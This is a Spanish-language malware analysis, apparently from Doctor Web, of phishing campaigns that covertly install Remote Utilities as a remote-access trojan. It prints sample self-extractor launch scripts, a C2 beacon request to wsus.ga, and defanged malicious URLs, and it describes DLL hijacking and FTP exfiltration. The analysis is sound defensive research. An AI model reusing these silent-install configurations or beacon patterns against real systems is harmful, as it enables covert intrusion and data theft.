Sin ruido ni polvo: análisis de troyanos RAT basado en Remote Utilities





En noviembre de 2020, el laboratorio de virus de Doctor Web detectó la distribución de correos electrónicos de phishing a usuarios corporativos. Los atacantes intentaron utilizar el método clásico de ingeniería social para obligar a las víctimas potenciales a abrir archivos adjuntos. Los correos electrónicos contenían troyanos como una carga maliciosa, lo que garantizaba la instalación oculta y el lanzamiento de la utilidad Remote Utilities, cuyos componentes de instalación también se incluían en el archivo adjunto. En un conjunto de circunstancias desfavorables, las computadoras de los empleados estarían disponibles para control remoto sin ningún signo visual del funcionamiento del programa. En este artículo, veremos los mecanismos de distribución e infección de los troyanos RAT utilizados.



Escenario de ataque



Las muestras que encontramos se pueden dividir en 2 grupos.





Ambos grupos de malware están unidos no solo por la herramienta utilizada, Remote Utilities, sino también por el formato de los correos electrónicos de phishing. Estos son mensajes bastante bien escritos y relativamente voluminosos en ruso, utilizando un tema que es potencialmente interesante para el destinatario. La carga maliciosa está protegida con una contraseña, y la contraseña en sí en forma de archivo TXT se encuentra cerca y representa la fecha en que se envió la carta.



Ejemplo de un mensaje con un archivo adjunto malicioso mediante el secuestro de DLL:







El archivo adjunto contiene un archivo RAR protegido y un archivo de texto con una contraseña.







Para la confidencialidad del adjunto enviado, se establece una contraseña automática: 02112020.


El archivo contiene un cuentagotas en forma de RAR autoextraíble, dentro del cual se encuentra BackDoor.RMS.180 .



A continuación se muestra un ejemplo de un correo electrónico con un archivo adjunto que utiliza un paquete MSI.







Además del archivo con una carga maliciosa ( BackDoor.RMS.181 ) y el archivo de contraseña, aquí hay documentos ficticios.







Debido a la política de seguridad corporativa, este archivo adjunto está protegido por el código de acceso: 12112020.


Durante nuestra investigación, también encontramos una muestra de un correo electrónico de phishing que contiene un enlace a un cuentagotas que inicia la instalación de la utilidad Remote Utilities desde un paquete MSI configurado (detectado por Dr.Web como BackDoor.RMS.187 ). Aquí está involucrado un mecanismo de propagación de carga útil ligeramente diferente.







"CV_resume.rar" es un enlace a un sitio comprometido, desde donde se produce una redirección a otro recurso para descargar un archivo malicioso de BackDoor.RMS.187 .



Un análisis de la infraestructura de red utilizada por los ciberdelincuentes para distribuir BackDoor.RMS.187 reveló varios sitios más comprometidos, así como una muestra de Trojan.Gidra. Según nuestros datos, Trojan.GidraNET.1 se utilizó para infectar inicialmente el sistema mediante un correo electrónico de phishing, seguido de la descarga de una puerta trasera que instalaba Remote Utilties en secreto.



Para un análisis detallado de los algoritmos del software detectado, lea la biblioteca de virus en nuestro sitio web. A continuación, echaremos un vistazo rápido a este malware.



BackDoor.RMS.180



Un troyano de puerta trasera escrito con componentes Remote Utilities. El módulo malicioso principal se carga mediante el secuestro de DLL.



El archivo autoextraíble es lanzado por el script:



;і   і  SFX-
Path=%APPDATA%\Macromedia\Temp\
Setup=WinPrint.exe
Silent=1
Overwrite=2
      
      





Composición gotero autoextraíble:



  • libeay32.dll (f54a31a9211f4a7506fdecb5121e79e7cdc1022e), limpio;
  • ssleay32.dll (18ee67c1a9e7b9b82e69040f81b61db9155151ab), limpio;
  • UniPrint.exe (71262de7339ca2c50477f76fcb208f476711c802), firmado con una firma válida;
  • WinPrint.exe (3c8d1dd39b7814fdc0792721050f953290be96f8), firmado con una firma válida;
  • winspool.drv (c3e619d796349f2f1efada17c9717cf42d4b77e2) es el principal módulo malicioso que asegura el funcionamiento oculto de Remote Utilities.


La tabla de funciones exportadas winspool.drv:



118  RemoveYourMom
119  AddFormW
144  ClosePrinter
148  OpenDick
156  DeleteFormW
189  DocumentPropertiesW
190  HyXyJIuHagoToA
195  EnumFormsW
203  GetDefaultPrinterW
248  EnumPrintersW
273  GetFormW
303  OpenPrinterW
307  PrinterProperties
      
      





Funciones ausentes en el módulo winspool.drv original y que no llevan una carga funcional: las







exportaciones con nombres reales contienen transiciones a las funciones originales cargadas en el futuro desde la biblioteca legítima.







Algunas funciones de API se ejecutan a través de punteros a puentes :









la función get_proc busca la función de API requerida analizando la tabla de exportación del módulo, luego coloca la dirección encontrada en lugar de la función de salto .

En la primera etapa, carga la biblioteca reemplazada. El nombre no está codificado, por lo que carga la biblioteca <system_directory> \ <module_filename>... Luego revisa su tabla de exportación y carga las funciones API originales por ordinales, omitiendo funciones no válidas:



RemoveYourMom
OpenDick
HyXyJIuHagoToA
      
      









Luego, la puerta trasera verifica en el contexto de qué ejecutable se está ejecutando. Para ello, comprueba el valor IMAGE_NT_HEADERS.OptionalHeader.CheckSum del módulo ejecutable principal:



  • el valor es 0x2ECF3 - lanzamiento inicial con WinPrint.exe;
  • el valor es 0xC9FBD1 - funciona en el contexto de UniPrint.exe.


Si se está ejecutando WinPrint.exe, la puerta trasera crea el proceso UniPrint.exe y sale.



Cuando se inicia UniPrint.exe, la puerta trasera procede a realizar funciones básicas. Comprueba si el usuario tiene derechos de acceso de administrador. Luego establece los permisos para el directorio con el módulo:







Después de eso, escribe los parámetros generales y de seguridad en la clave de registro HKCU \ SOFTWARE \ WDMPrint y prepara el valor del parámetro InternetID usando una cadena de formato.



Luego, la puerta trasera crea ventanas MDICLIENT y RMSHDNLT ocultas :







A continuación, procede a interceptar funciones API. Utiliza la biblioteca MinHook para esto .







Puede encontrar una tabla detallada con una descripción de las funciones interceptadas en la página BackDoor.RMS.180 de nuestro sitio web.



La actividad de la red de puerta trasera se implementa de la siguiente manera. Primero, usando el identificador de la ventana TEdit usando la función GetWindowTextA, la puerta trasera obtiene el ID de Internet requerido para una conexión remota. Luego forma una solicitud GET del formulario:



GET /command.php?t=2&id=<Internet-ID> HTTP/1.1
Host: wsus.ga
Accept-Charset: UTF-8
User-Agent: Mozilla/5.0 (Windows NT)
Connection: close
      
      





Luego crea un socket TCP. Comprueba el valor de una variable global que almacena el puerto para una conexión SSL (cero en este ejemplo). Si el puerto no es igual a cero, la conexión se realiza a través de SSL utilizando las funciones de la biblioteca SSLEAY32.dll. Si no se especifica el puerto, la puerta trasera se conecta a través del puerto 80.

Luego envía la solicitud generada. Si se recibe una respuesta, espera un minuto y reenvía la solicitud con el ID de Internet . Si no hay respuesta, la solicitud se repite después de 2 segundos. El envío se produce en un bucle sin fin.



Puerta trasera.RMS.181



La muestra analizada es un paquete MSI con parámetros de control remoto preconfigurados, creado usando el configurador MSI desde Remote Utilities Viewer. Se distribuyó como parte de un gotero 7z autoextraíble (52c3841141d0fe291d8ae336012efe5766ec5616).



Composición del gotero:



  • host6.3_mod.msi (paquete MSI preconfigurado);
  • installer.exe (5a9d6b1fcdaf4b2818a6eeca4f1c16a5c24dd9cf), firmado con una firma digital válida.


Script de inicio de archivo autoextraíble:



;!@Install@!UTF-8!
RunProgram="hidcon:installer.exe /rsetup"
GUIMode="2"
;!@InstallEnd@!
      
      





Después de desempaquetar, el cuentagotas ejecuta el archivo installer.exe, que a su vez inicia la instalación del paquete MSI preconfigurado. El instalador extrae e instala en secreto Remote Utilities. Después de la instalación, envía una señal al servidor de administración.







El paquete MSI contiene todos los parámetros necesarios para instalar de forma silenciosa Remote Utilities. La instalación se realiza en Archivos de programa \ Utilidades remotas - Host de acuerdo con la tabla Directorio .







Según la tabla CustomAction, el instalador de msiexec.exe inicia el componente principal del paquete de utilidades remotas rutserv.execon varios parámetros que brindan una instalación silenciosa, agregando reglas de firewall e iniciando el servicio.







Los parámetros y configuraciones de conexión se ingresan en la clave de registro HKLM \ Remote Utilities \ v4 \ Server \ Parameters . Los valores de los parámetros están contenidos en la tabla de Registro :







El parámetro CallbackSettings contiene la dirección del servidor al que se envía InternetID para una conexión directa.



Puerta trasera.RMS.187



La muestra examinada es un paquete MSI con parámetros preconfigurados para instalar y ejecutar de forma silenciosa Remote Utilities. Se distribuyó como parte de un archivo RAR malicioso mediante listas de correo de phishing.



Se inicia usando un cuentagotas que almacena el archivo de instalación en la sección de recursos bajo el nombre LOG . El cuentagotas guarda el paquete MSI en el directorio % TEMP% con el nombre KB8438172.msi y luego inicia msiexec.exe utilizando el instalador. El cuentagotas contiene la ruta a la fuente: C: \ Users \ Kelevra \ Desktop \ Source \ Project1.vbp .







La puerta trasera indica que está listo para conectarse enviando un mensaje a cerbe [@] protonmail [.] Com...



Esta muestra destaca por la forma en que se distribuyó. La víctima recibe un correo electrónico de phishing con un enlace disfrazado como un archivo adjunto que necesita el usuario.



Enlace para descargar los archivos adjuntos se encuentra en http [:] // ateliemilano ru / stat / amsweb.php eTmt6lRmkrDeoEeQB6MOVIKq4BTmbNCaI6vj% 2FvgYEbHFcfWecHRVZGMpkK% 2BMqevriOYlq9CFe6NuQMfKPsSNIax3bNKkCaPPR0RA85HY4Bu% 2B% 2B6xw2oPITBvntn2dh0QCN9pV5fzq3T 2FnW270rsYkctA %%% 2FwdvWH1bkEt2AdWnyEfaOwsKsSpyY3azVX0D 2BKOm5 [.]? .



Luego, desde esta dirección, se produce un redireccionamiento a la dirección https [:] // kiat [.] By / recrument / CV_Ekaterina_A_B_resume.rar , que se utiliza para descargar el archivo malicioso.



ateliemilano [.] ruy kiat [.] by son sitios existentes, siendo el segundo sitio propiedad de una agencia de contratación. Según nuestra información, se han utilizado repetidamente para descargar troyanos, así como para reenviar solicitudes para descargarlos.



En el curso de la investigación, se encontraron otros sitios comprometidos que se utilizaron para distribuir goteros similares con paquetes MSI. En algunos de ellos, se instalaron redireccionamientos del mismo formato que en el sitio ateliemilano [.] Ru . Troyanos escritos en

Visual Basic .NET ( Trojan.GidraNET.1), que, entre otras cosas, descarga goteros maliciosos en computadoras comprometidas.



Trojan.GidraNET.1



La muestra de troyano examinada se distribuyó a través de sitios comprometidos. Está diseñado para recopilar información sobre el sistema con su posterior transferencia a los ciberdelincuentes a través de FTP, así como para descargar un dropper malicioso con un paquete MSI para instalar Remote Utilities.



La funcionalidad principal está en el método readConfig llamado desde Form1_Load .







Al comienzo de su trabajo, recopila la siguiente información sobre el sistema:



  • dirección IP externa;
  • Nombre de usuario;
  • Nombre de la PC;
  • Versión del sistema operativo;
  • información sobre la placa base y el procesador;
  • la cantidad de RAM;
  • información sobre discos y particiones;
  • adaptadores de red y sus direcciones MAC;
  • el contenido del portapapeles.






La información resultante se guarda en un archivo y luego toma una captura de pantalla.







Envía información sobre el sistema a través de FTP al servidor ateliemilano [.] Ru .







El código del troyano contiene un nombre de usuario y una contraseña para el servidor FTP. Se crea un directorio independiente para cada equipo infectado.







Después de enviar la información, descarga y ejecuta el archivo desde otro servidor comprometido.







Los archivos descargados con ejemplos similares son cuentagotas escritos en Visual Basic que contienen paquetes MSI para la instalación oculta de Utilidades remotas, como BackDoor.RMS.187 .



La ruta al archivo PDB se encontró en la muestra examinada: C: \ Users \ Kelevra \ Desktop \ Last Gidra + PrintScreen + Loader_ Main \ Gidra \ obj \ Debug \ Gidra.pdb . El nombre de usuario de Kelevra es el mismo que el nombre de usuario en la ruta al archivo del proyecto en el cuentagotas BackDoor.RMS.187: C: \ Users \ Kelevra \ Desktop \ Source \ Project1.vbp . Hubo otras variantes en muestras similares.



Según la información que encontramos, podemos suponer que en 2019 el autor de Trojan.GidraNET.1 usó este troyano para la infección inicial a través de un correo electrónico de phishing, seguido de la descarga de una puerta trasera que instala en secreto Remote Utilties.



Conclusión



Las puertas traseras basadas en utilidades de administración remota siguen siendo una importante amenaza para la seguridad y todavía se utilizan para atacar al sector empresarial. A su vez, los correos electrónicos de suplantación de identidad (phishing) son el principal medio para enviar cargas útiles a las computadoras infectadas. Una característica distintiva de los archivos adjuntos maliciosos es el archivo de la carga útil mediante una contraseña, lo que permite que el mensaje supere la protección integrada en el servidor de correo. Otra característica es la presencia de un archivo de texto con una contraseña para el archivo falso. Además, el uso de una biblioteca maliciosa y los ataques de secuestro de DLL permiten la operación oculta del software de control remoto en un dispositivo comprometido.



Indicadores de compromiso



All Articles